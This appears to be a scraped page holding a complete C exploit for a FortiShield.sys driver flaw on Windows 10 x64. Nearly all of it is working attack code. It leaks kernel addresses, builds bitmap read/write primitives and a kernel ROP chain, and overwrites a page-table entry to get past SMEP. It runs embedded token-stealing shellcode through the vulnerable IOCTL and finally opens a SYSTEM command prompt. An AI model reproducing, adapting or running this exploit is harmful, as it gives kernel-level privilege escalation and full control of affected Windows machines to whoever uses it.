1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 |
/* Check these out: - https://www.coresecurity.com/system/files/publications/2016/05/Windows%20SMEP%20bypass%20U%3DS.pdf - https://labs.mwrinfosecurity.com/blog/a-tale-of-bitmaps/ Tested on: - Windows 10 Pro x64 (Post-Anniversary) - ntoskrnl.exe: 10.0.14393.953 - FortiShield.sys: 5.2.3.633 Thanks to master @ryujin and @ronin for helping out. And thanks to Morten (@Blomster81) for the MiGetPteAddress :D */ #include <stdio.h> #include <stdlib.h> #include <Windows.h> #include <Psapi.h> #pragma comment (lib,"psapi") #pragma comment(lib, "gdi32.lib") #pragma comment(lib, "User32.lib") #define object_number 0x02 #define accel_array_size 0x2b6 #define STATUS_SUCCESS 0x00000000 typedef void** PPVOID; typedef struct _tagSERVERINFO { UINT64 pad; UINT64 cbHandleEntries; } SERVERINFO, *PSERVERINFO; typedef struct _HANDLEENTRY { PVOID pHeader; // Pointer to the Object PVOID pOwner; // PTI or PPI UCHAR bType; // Object handle type UCHAR bFlags; // Flags USHORT wUniq; // Access count } HANDLEENTRY, *PHANDLEENTRY; typedef struct _SHAREDINFO { PSERVERINFO psi; PHANDLEENTRY aheList; } SHAREDINFO, *PSHAREDINFO; ULONGLONG get_pxe_address_64(ULONGLONG address, ULONGLONG pte_start) { ULONGLONG result = address >> 9; result = result | pte_start; result = result & (pte_start + 0x0000007ffffffff8); return result; } HMODULE ntdll; HMODULE user32dll; struct bitmap_structure { HBITMAP manager_bitmap; HBITMAP worker_bitmap; }; struct bitmap_structure create_bitmaps(HACCEL hAccel[object_number]) { struct bitmap_structure bitmaps; char *manager_bitmap_memory; char *worker_bitmap_memory; HBITMAP manager_bitmap; HBITMAP worker_bitmap; int nWidth = 0x703; int nHeight = 2; unsigned int cPlanes = 1; unsigned int cBitsPerPel = 8; const void *manager_lpvBits; const void *worker_lpvBits; manager_bitmap_memory = malloc(nWidth * nHeight); memset(manager_bitmap_memory, 0x00, sizeof(manager_bitmap_memory)); manager_lpvBits = manager_bitmap_memory; worker_bitmap_memory = malloc(nWidth * nHeight); memset(worker_bitmap_memory, 0x00, sizeof(worker_bitmap_memory)); worker_lpvBits = worker_bitmap_memory; BOOL destroy_table; destroy_table = DestroyAcceleratorTable(hAccel[0]); if (destroy_table == 0) { printf("[!] Failed to delete accelerator table[0]: %d\n", GetLastError()); exit(1); } manager_bitmap = CreateBitmap(nWidth, nHeight, cPlanes, cBitsPerPel, manager_lpvBits); if (manager_bitmap == NULL) { printf("[!] Failed to create BitMap object: %d\n", GetLastError()); exit(1); } printf("[+] Manager BitMap HANDLE: %I64x\n", (ULONGLONG)manager_bitmap); destroy_table = DestroyAcceleratorTable(hAccel[1]); if (destroy_table == 0) { printf("[!] Failed to delete accelerator table[1]: %d\n", GetLastError()); exit(1); } worker_bitmap = CreateBitmap(nWidth, nHeight, cPlanes, cBitsPerPel, worker_lpvBits); if (worker_bitmap == NULL) { printf("[!] Failed to create BitMap object: %d\n", GetLastError()); exit(1); } printf("[+] Worker BitMap HANDLE: %I64x\n", (ULONGLONG)worker_bitmap); bitmaps.manager_bitmap = manager_bitmap; bitmaps.worker_bitmap = worker_bitmap; return bitmaps; } PHANDLEENTRY leak_table_kernel_address(HMODULE user32dll, HACCEL hAccel[object_number], PHANDLEENTRY handle_entry[object_number]) { int i; PSHAREDINFO gSharedInfo; ULONGLONG aheList; DWORD handle_entry_size = 0x18; gSharedInfo = (PSHAREDINFO)GetProcAddress(user32dll, (LPCSTR)"gSharedInfo"); if (gSharedInfo == NULL) { printf("[!] Error while retrieving gSharedInfo: %d.\n", GetLastError()); return NULL; } aheList = (ULONGLONG)gSharedInfo->aheList; printf("[+] USER32!gSharedInfo located at: %I64x\n", (ULONGLONG)gSharedInfo); printf("[+] USER32!gSharedInfo->aheList located at: %I64x\n", (ULONGLONG)aheList); for (i = 0; i < object_number; i++) { handle_entry[i] = (PHANDLEENTRY)(aheList + ((ULONGLONG)hAccel[i] & 0xffff) * handle_entry_size); } return *handle_entry; } ULONGLONG write_bitmap(HBITMAP bitmap_handle, ULONGLONG to_write) { ULONGLONG write_operation; write_operation = SetBitmapBits(bitmap_handle, sizeof(ULONGLONG), &to_write); if (write_operation == 0) { printf("[!] Failed to write bits to bitmap: %d\n", GetLastError()); exit(1); } return 0; } ULONGLONG read_bitmap(HBITMAP bitmap_handle) { ULONGLONG read_operation; ULONGLONG to_read; read_operation = GetBitmapBits(bitmap_handle, sizeof(ULONGLONG), &to_read); if (read_operation == 0) { printf("[!] Failed to write bits to bitmap: %d\n", GetLastError()); exit(1); } return to_read; } HACCEL create_accelerator_table(HACCEL hAccel[object_number], int table_number) { int i; table_number = object_number; ACCEL accel_array[accel_array_size]; LPACCEL lpAccel = accel_array; printf("[+] Creating %d Accelerator Tables\n", table_number); for (i = 0; i < table_number; i++) { hAccel[i] = CreateAcceleratorTableA(lpAccel, accel_array_size); if (hAccel[i] == NULL) { printf("[!] Error while creating the accelerator table: %d.\n", GetLastError()); exit(1); } } return *hAccel; } LPVOID allocate_rop_chain(LPVOID kernel_base, ULONGLONG fortishield_callback, ULONGLONG fortishield_restore, ULONGLONG manager_pvScan_offset, ULONGLONG worker_pvScan_offset) { HANDLE pid; pid = GetCurrentProcess(); ULONGLONG rop_chain_address = 0x000000008aff07da; LPVOID allocate_rop_chain; allocate_rop_chain = VirtualAlloc((LPVOID*)rop_chain_address, 0x12000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (allocate_rop_chain == NULL) { printf("[!] Error while allocating rop_chain: %d\n", GetLastError()); exit(1); } /* <Null callback> */ ULONGLONG rop_01 = (ULONGLONG)kernel_base + 0x14adaf; // pop rax; pop rcx; ret ULONGLONG rop_02 = fortishield_callback; ULONGLONG rop_03 = 0x0000000000000000; // NULL the callback ULONGLONG rop_04 = (ULONGLONG)kernel_base + 0xb7621; // mov qword ptr [rax], rcx ; ret /* </Null callback> */ /* <Overwrite pvScan0> */ ULONGLONG rop_05 = (ULONGLONG)kernel_base + 0x14adaf; // pop rax; pop rcx; ret ULONGLONG rop_06 = (ULONGLONG)manager_pvScan_offset; // Manager BitMap pvScan0 offset ULONGLONG rop_07 = (ULONGLONG)worker_pvScan_offset; // Worker BitMap pvScan0 offset ULONGLONG rop_08 = (ULONGLONG)kernel_base + 0xb7621; // mov qword ptr [rax], rcx ; ret /* </Overwrite pvScan0> */ /* <Prepare RBX (to write the orignial stack pointer to> */ ULONGLONG rop_09 = (ULONGLONG)kernel_base + 0x62c0c3; // pop rbx ; ret ULONGLONG rop_10 = 0x000000008b0000e0; /* </Prepare RBX (to write the orignial stack pointer to> */ /* <Get RSI value (points to the original stack) into RAX> */ ULONGLONG rop_11 = (ULONGLONG)kernel_base + 0x6292eb; // pop rax ; ret ULONGLONG rop_12 = (ULONGLONG)kernel_base + 0x556dc9; // mov rax, rcx ; add rsp, 0x28 ; ret ULONGLONG rop_13 = (ULONGLONG)kernel_base + 0x4115ca; // mov rcx, rsi ; call rax ULONGLONG rop_14 = 0x4141414141414141; // JUNK ULONGLONG rop_15 = 0x4141414141414141; // JUNK ULONGLONG rop_16 = 0x4141414141414141; // JUNK ULONGLONG rop_17 = 0x4141414141414141; // JUNK /* </Get RSI value (points to the original stack) into RAX> */ /* <Adjust RAX to point to the return address pushed by the call> */ ULONGLONG rop_18 = (ULONGLONG)kernel_base + 0x61260f; // pop rcx ; ret ULONGLONG rop_19 = 0x0000000000000028; // Get the return address ULONGLONG rop_20 = (ULONGLONG)kernel_base + 0xd8c12; // sub rax, rcx ; ret /* </Adjust RAX to point to the return address pushed by the call> */ /* <Overwrite the return from the call with fortishield_restore> */ ULONGLONG rop_21 = (ULONGLONG)kernel_base + 0x61260f; // pop rcx ; ret ULONGLONG rop_22 = fortishield_restore; ULONGLONG rop_23 = (ULONGLONG)kernel_base + 0xb7621; // mov qword ptr [rax], rcx ; ret /* </Overwrite the return from the call with fortishield_restore> */ /* <Write the original stack pointer on our usermode_stack> */ ULONGLONG rop_24 = (ULONGLONG)kernel_base + 0x4cde3e; // mov qword ptr [rbx + 0x10], rax ; add rsp, 0x20 ; pop rbx ; ret ULONGLONG rop_25 = 0x4141414141414141; // JUNK ULONGLONG rop_26 = 0x4141414141414141; // JUNK ULONGLONG rop_27 = 0x4141414141414141; // JUNK ULONGLONG rop_28 = 0x4141414141414141; // JUNK ULONGLONG rop_29 = 0x0000000000000000; // Value to be POP'ed in RBX, needs to be 0x00 at the end for restore /* </Write the original stack pointer on our usermode_stack> */ /* <Restore stack pointer> */ ULONGLONG rop_30 = (ULONGLONG)kernel_base + 0x62b91b; // pop rsp ; ret /* </Restore stack pointer> */ char *rop_chain; DWORD rop_chain_size = 0x12000; rop_chain = (char *)malloc(rop_chain_size); memset(rop_chain, 0x41, rop_chain_size); memcpy(rop_chain + 0xf826, &rop_01, 0x08); memcpy(rop_chain + 0xf82e, &rop_02, 0x08); memcpy(rop_chain + 0xf836, &rop_03, 0x08); memcpy(rop_chain + 0xf83e, &rop_04, 0x08); memcpy(rop_chain + 0xf846, &rop_05, 0x08); memcpy(rop_chain + 0xf84e, &rop_06, 0x08); memcpy(rop_chain + 0xf856, &rop_07, 0x08); memcpy(rop_chain + 0xf85e, &rop_08, 0x08); memcpy(rop_chain + 0xf866, &rop_09, 0x08); memcpy(rop_chain + 0xf86e, &rop_10, 0x08); memcpy(rop_chain + 0xf876, &rop_11, 0x08); memcpy(rop_chain + 0xf87e, &rop_12, 0x08); memcpy(rop_chain + 0xf886, &rop_13, 0x08); memcpy(rop_chain + 0xf88e, &rop_14, 0x08); memcpy(rop_chain + 0xf896, &rop_15, 0x08); memcpy(rop_chain + 0xf89e, &rop_16, 0x08); memcpy(rop_chain + 0xf8a6, &rop_17, 0x08); memcpy(rop_chain + 0xf8ae, &rop_18, 0x08); memcpy(rop_chain + 0xf8b6, &rop_19, 0x08); memcpy(rop_chain + 0xf8be, &rop_20, 0x08); memcpy(rop_chain + 0xf8c6, &rop_21, 0x08); memcpy(rop_chain + 0xf8ce, &rop_22, 0x08); memcpy(rop_chain + 0xf8d6, &rop_23, 0x08); memcpy(rop_chain + 0xf8de, &rop_24, 0x08); memcpy(rop_chain + 0xf8e6, &rop_25, 0x08); memcpy(rop_chain + 0xf8ee, &rop_26, 0x08); memcpy(rop_chain + 0xf8f6, &rop_27, 0x08); memcpy(rop_chain + 0xf8fe, &rop_28, 0x08); memcpy(rop_chain + 0xf906, &rop_29, 0x08); memcpy(rop_chain + 0xf90e, &rop_30, 0x08); BOOL WPMresult; SIZE_T written; WPMresult = WriteProcessMemory(pid, (LPVOID)rop_chain_address, rop_chain, rop_chain_size, &written); if (WPMresult == 0) { printf("[!] Error while calling WriteProcessMemory: %d\n", GetLastError()); exit(1); } printf("[+] Memory allocated at: %p\n", allocate_rop_chain); return allocate_rop_chain; } LPVOID allocate_shellcode(LPVOID kernel_base, ULONGLONG fortishield_callback, ULONGLONG fortishield_restore, ULONGLONG pte_result) { HANDLE pid; pid = GetCurrentProcess(); ULONGLONG shellcode_address = 0x000000008aff07da; LPVOID allocate_shellcode; allocate_shellcode = VirtualAlloc((LPVOID*)shellcode_address, 0x12000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (allocate_shellcode == NULL) { printf("[!] Error while allocating rop_chain: %d\n", GetLastError()); exit(1); } /* <Overwrite PTE> */ ULONGLONG rop_01 = (ULONGLONG)kernel_base + 0x14adaf; // pop rax; pop rcx; ret ULONGLONG rop_02 = (ULONGLONG)pte_result; // PTE address ULONGLONG rop_03 = 0x0000000000000063; // DIRTY + ACCESSED + R/W + PRESENT ULONGLONG rop_04 = (ULONGLONG)kernel_base + 0x130779; // mov byte ptr [rax], cl ; mov rbx, qword ptr [rsp + 8] ; ret ULONGLONG rop_05 = (ULONGLONG)kernel_base + 0xc459c; // wbinvd ; ret ULONGLONG rop_06 = 0x000000008b00081a; // shellcode ULONGLONG rop_07 = fortishield_callback; ULONGLONG rop_08 = fortishield_restore; /* </Overwrite PTE> */ /* ;kd> dt -r1 nt!_TEB ; +0x110 SystemReserved1: [54] Ptr64 Void ;??????+0x078 KTHREAD (not documented, can't get it from WinDBG directly) kd> u nt!PsGetCurrentProcess nt!PsGetCurrentProcess: mov rax,qword ptr gs:[188h] mov rax,qword ptr [rax+0B8h] - Token stealing rop_chain & restore: start: mov rdx, [gs:0x188] mov r8, [rdx+0x0b8] mov r9, [r8+0x2f0] mov rcx, [r9] find_system_proc: mov rdx, [rcx-0x8] cmp rdx, 4 jz found_it mov rcx, [rcx] cmp rcx, r9 jnz find_system_proc found_it: mov rax, [rcx+0x68] and al, 0x0f0 mov [r8+0x358], rax restore: mov rbp, qword ptr [rsp+0x80] xor rbx, rbx mov [rbp], rbx mov rbp, qword ptr [rsp+0x88] mov rax, rsi mov rsp, rax sub rsp, 0x20 jmp rbp */ char token_steal[] = "\x65\x48\x8B\x14\x25\x88\x01\x00\x00\x4C\x8B\x82\xB8" "\x00\x00\x00\x4D\x8B\x88\xF0\x02\x00\x00\x49\x8B\x09" "\x48\x8B\x51\xF8\x48\x83\xFA\x04\x74\x08\x48\x8B\x09" "\x4C\x39\xC9\x75\xEE\x48\x8B\x41\x68\x24\xF0\x49\x89" "\x80\x58\x03\x00\x00\x48\x8B\xAC\x24\x80\x00\x00\x00" "\x48\x31\xDB\x48\x89\x5D\x00\x48\x8B\xAC\x24\x88\x00" "\x00\x00\x48\x89\xF0\x48\x89\xC4\x48\x83\xEC\x20\xFF\xE5"; char *shellcode; DWORD shellcode_size = 0x12000; shellcode = (char *)malloc(shellcode_size); memset(shellcode, 0x41, shellcode_size); memcpy(shellcode + 0xf826, &rop_01, 0x08); memcpy(shellcode + 0xf82e, &rop_02, 0x08); memcpy(shellcode + 0xf836, &rop_03, 0x08); memcpy(shellcode + 0xf83e, &rop_04, 0x08); memcpy(shellcode + 0xf846, &rop_05, 0x08); memcpy(shellcode + 0xf84e, &rop_06, 0x08); memcpy(shellcode + 0xf8d6, &rop_07, 0x08); memcpy(shellcode + 0xf8de, &rop_08, 0x08); memcpy(shellcode + 0x10040, token_steal, sizeof(token_steal)); BOOL WPMresult; SIZE_T written; WPMresult = WriteProcessMemory(pid, (LPVOID)shellcode_address, shellcode, shellcode_size, &written); if (WPMresult == 0) { printf("[!] Error while calling WriteProcessMemory: %d\n", GetLastError()); exit(1); } printf("[+] Memory allocated at: %p\n", allocate_shellcode); return allocate_shellcode; } LPVOID GetBaseAddr(char *drvname) { LPVOID drivers[1024]; DWORD cbNeeded; int nDrivers, i = 0; if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers)) { char szDrivers[1024]; nDrivers = cbNeeded / sizeof(drivers[0]); for (i = 0; i < nDrivers; i++) { if (GetDeviceDriverBaseName(drivers[i], (LPSTR)szDrivers, sizeof(szDrivers) / sizeof(szDrivers[0]))) { //printf("%s (%p)\n", szDrivers, drivers[i]); if (strcmp(szDrivers, drvname) == 0) { //printf("%s (%p)\n", szDrivers, drivers[i]); return drivers[i]; } } } } return 0; } DWORD trigger_callback() { /* This file needs to be on the local HDD to work. */ printf("[+] Creating dummy file\n"); system("echo test > test.txt"); printf("[+] Calling MoveFileEx()\n"); BOOL MFEresult; MFEresult = MoveFileEx((LPCSTR)"test.txt", (LPCSTR)"test2.txt", MOVEFILE_REPLACE_EXISTING); if (MFEresult == 0) { printf("[!] Error while calling MoveFileEx(): %d\n", GetLastError()); return 1; } return 0; } int main() { ntdll = LoadLibrary((LPCSTR)"ntdll"); if (ntdll == NULL) { printf("[!] Error while loading ntdll: %d\n", GetLastError()); return 1; } user32dll = LoadLibrary((LPCSTR)"user32"); if (user32dll == NULL) { printf("[!] Error while loading user32: %d.\n", GetLastError()); return 1; } HACCEL hAccel[object_number]; create_accelerator_table(hAccel, object_number); PHANDLEENTRY handle_entry[object_number]; leak_table_kernel_address(user32dll, hAccel, handle_entry); printf( "[+] Accelerator Table[0] HANDLE: %I64x\n" "[+] Accelerator Table[0] HANDLE: %I64x\n" "[+] Accelerator Table[0] kernel address: %I64x\n" "[+] Accelerator Table[0] kernel address: %I64x\n", (ULONGLONG)hAccel[0], (ULONGLONG)hAccel[1], (ULONGLONG)handle_entry[0]->pHeader, (ULONGLONG)handle_entry[1]->pHeader ); ULONGLONG manager_pvScan_offset; ULONGLONG worker_pvScan_offset; manager_pvScan_offset = (ULONGLONG)handle_entry[0]->pHeader + 0x18 + 0x38; worker_pvScan_offset = (ULONGLONG)handle_entry[1]->pHeader + 0x18 + 0x38; printf("[+] Replacing Accelerator Tables with BitMap objects\n"); struct bitmap_structure bitmaps; bitmaps = create_bitmaps(hAccel); printf("[+] Manager BitMap pvScan0 offset: %I64x\n", (ULONGLONG)manager_pvScan_offset); printf("[+] Worker BitMap pvScan0 offset: %I64x\n", (ULONGLONG)worker_pvScan_offset); HANDLE forti; forti = CreateFile((LPCSTR)"\\\\.\\FortiShield", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if (forti == INVALID_HANDLE_VALUE) { printf("[!] Error while creating a handle to the driver: %d\n", GetLastError()); return 1; } LPVOID kernel_base = GetBaseAddr("ntoskrnl.exe"); LPVOID fortishield_base = GetBaseAddr("FortiShield.sys"); ULONGLONG kernel_pivot = (ULONGLONG)kernel_base + 0x4efae5; ULONGLONG fortishield_callback = (ULONGLONG)fortishield_base + 0xd150; ULONGLONG fortishield_restore = (ULONGLONG)fortishield_base + 0x2f73; printf("[+] Kernel found at: %llx\n", (ULONGLONG)kernel_base); printf("[+] FortiShield.sys found at: %llx\n", (ULONGLONG)fortishield_base); DWORD IoControlCode = 0x220028; ULONGLONG InputBuffer = kernel_pivot; DWORD InputBufferLength = 0x8; ULONGLONG OutputBuffer = 0x0; DWORD OutputBufferLength = 0x0; DWORD lpBytesReturned; LPVOID rop_chain_allocation; rop_chain_allocation = allocate_rop_chain(kernel_base, fortishield_callback, fortishield_restore, manager_pvScan_offset, worker_pvScan_offset); HANDLE hThread; LPDWORD hThread_id = 0; hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&trigger_callback, NULL, CREATE_SUSPENDED, hThread_id); if (hThread == NULL) { printf("[!] Error while calling CreateThread: %d\n", GetLastError()); return 1; } BOOL hThread_priority; hThread_priority = SetThreadPriority(hThread, THREAD_PRIORITY_HIGHEST); if (hThread_priority == 0) { printf("[!] Error while calling SetThreadPriority: %d\n", GetLastError()); return 1; } printf("[+] Press ENTER to trigger the vulnerability.\n"); getchar(); BOOL triggerIOCTL; ResumeThread(hThread); triggerIOCTL = DeviceIoControl(forti, IoControlCode, (LPVOID)&InputBuffer, InputBufferLength, (LPVOID)&OutputBuffer, OutputBufferLength, &lpBytesReturned, NULL); WaitForSingleObject(hThread, INFINITE); /* <Reading the PTE base virtual address from nt!MiGetPteAddress + 0x13> */ ULONGLONG manager_write_pte_offset = (ULONGLONG)kernel_base + 0x47314 + 0x13; printf("[+] Writing nt!MiGetPteAddress + 0x13 to Worker pvScan0.\n"); getchar(); write_bitmap(bitmaps.manager_bitmap, manager_write_pte_offset); printf("[+] Reading from Worker pvScan0.\n"); getchar(); ULONGLONG pte_start = read_bitmap(bitmaps.worker_bitmap); printf("[+] PTE virtual base address: %I64x\n", pte_start); ULONGLONG pte_result; ULONGLONG pte_value = 0x8b000000; pte_result = get_pxe_address_64(pte_value, pte_start); printf("[+] PTE virtual address for 0x8b000000: %I64x\n", pte_result); /* </Reading the PTE base virtual address from nt!MiGetPteAddress + 0x13> */ BOOL VFresult; VFresult = VirtualFree(rop_chain_allocation, 0x0, MEM_RELEASE); if (VFresult == 0) { printf("[!] Error while calling VirtualFree: %d\n", GetLastError()); return 1; } LPVOID shellcode_allocation; shellcode_allocation = allocate_shellcode(kernel_base, fortishield_callback, fortishield_restore, pte_result); hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&trigger_callback, NULL, CREATE_SUSPENDED, hThread_id); if (hThread == NULL) { printf("[!] Error while calling CreateThread: %d\n", GetLastError()); return 1; } hThread_priority = SetThreadPriority(hThread, THREAD_PRIORITY_HIGHEST); if (hThread_priority == 0) { printf("[!] Error while calling SetThreadPriority: %d\n", GetLastError()); return 1; } printf("[+] Press ENTER to trigger the vulnerability again.\n"); getchar(); ResumeThread(hThread); triggerIOCTL = DeviceIoControl(forti, IoControlCode, (LPVOID)&InputBuffer, InputBufferLength, (LPVOID)&OutputBuffer, OutputBufferLength, &lpBytesReturned, NULL); WaitForSingleObject(hThread, INFINITE); printf("\n"); system("start cmd.exe"); DeleteObject(bitmaps.manager_bitmap); DeleteObject(bitmaps.worker_bitmap); return 0; } |